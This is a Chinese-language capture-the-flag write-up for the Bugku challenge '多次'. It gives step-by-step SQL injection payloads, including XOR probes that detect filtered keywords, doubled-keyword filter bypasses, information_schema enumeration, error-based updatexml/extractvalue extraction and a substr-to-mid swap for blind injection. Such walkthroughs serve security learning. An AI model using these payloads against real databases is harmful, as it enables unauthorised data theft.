Bugku-多次

题目:

很明显,可能有sql注入漏洞,构造

id=1'

在后面加上注释:

id=1'%23

页面又恢复正常了,说明存在单字符注入

获取主查询列数:

0'order by 1%23

发现页面又错了,再构造

1'or 1=1%23

还是错的,难道过滤了某些字符?

这时就用到了异或^这个运算符:两边数值相等返回0,不等时根据其数值对应的二进制进行每位对应运算并返回运算后的十进制结果

构造

1'^(length('order')=5)%23

如果没有过滤’order’,则length(‘order’)=5会返回1,1^1为0,即表达式为

?id=0

id=0会返回错误页面,但测试后.

仍是id=1的页面,说明length(‘order’)=5返回的为0,即order被过滤了,那么此时length(‘order’)=0对吧?

1'^(length('order')=0)%23

如果order被完全过滤,则上面构造的运算为1^1,返回0

但!试了后发现页面仍是正确的,说明’order’并没有完全被过滤

想起了上面使用’or’也不起作用,测试了一下’or’

1'^(length('or')=2)%23

页面是正确的,说明’or’被过滤了,因为’order’中有’or’,这就解释的通了

继续测试:

1'^(length('union')=5)%23 //页面返回正常,说明union被过滤
1'^(length('select')=6)%23 //页面返回正常,说明select被过滤

则双写绕过

1'oorrder by 1%23 //到3报错,说明有两列

0'uniounionn selecselectt 1,group_concat(table_name) from  
information_schema.tables where table_schema=database()%23
//这样获取不了表名,后来发现'information'中也含有'or' 。。。
改正后:
0'uniounionn selecselectt 1,group_concat(table_name) from  
infoorrmation_schema.tables where table_schema=database()%23


flag1表中的信息:

flag1                      address
usOwycTju+FTUUzXosjr       http://123.206.87.240:9004/Once_More.php?id=1

hint中没啥信息。

进入新网址

撸啊撸?这图真阔爱

又有注入,发现仍是单字符注入,而且还是报错型的

使用order by,发现这次没有过滤,得到主查询有两个查询字段

进行联合查询,发现union被过滤了

进行union双写,结果发现这回不只是union了,连select都没了。。。

估计后端代码在过滤完后检测,如果有’union select’,就替换为空。

有两种注入思路:

1.报错注入

1'and updatexml(1,concat("~",(select database())),1)%23
//1'and extractvalue(1,concat("~",(select database())))%23

2.盲注

用盲注的方式注入,根据页面是否出现Hello…来判断

不过用之前的脚本,发现只跑出了数据库名长度,却跑不出库名,后来发现原来substr这个函数被过滤了,不过mid这个函数没有被过滤(mid使用方法与substr一样),于是将substr替换为mid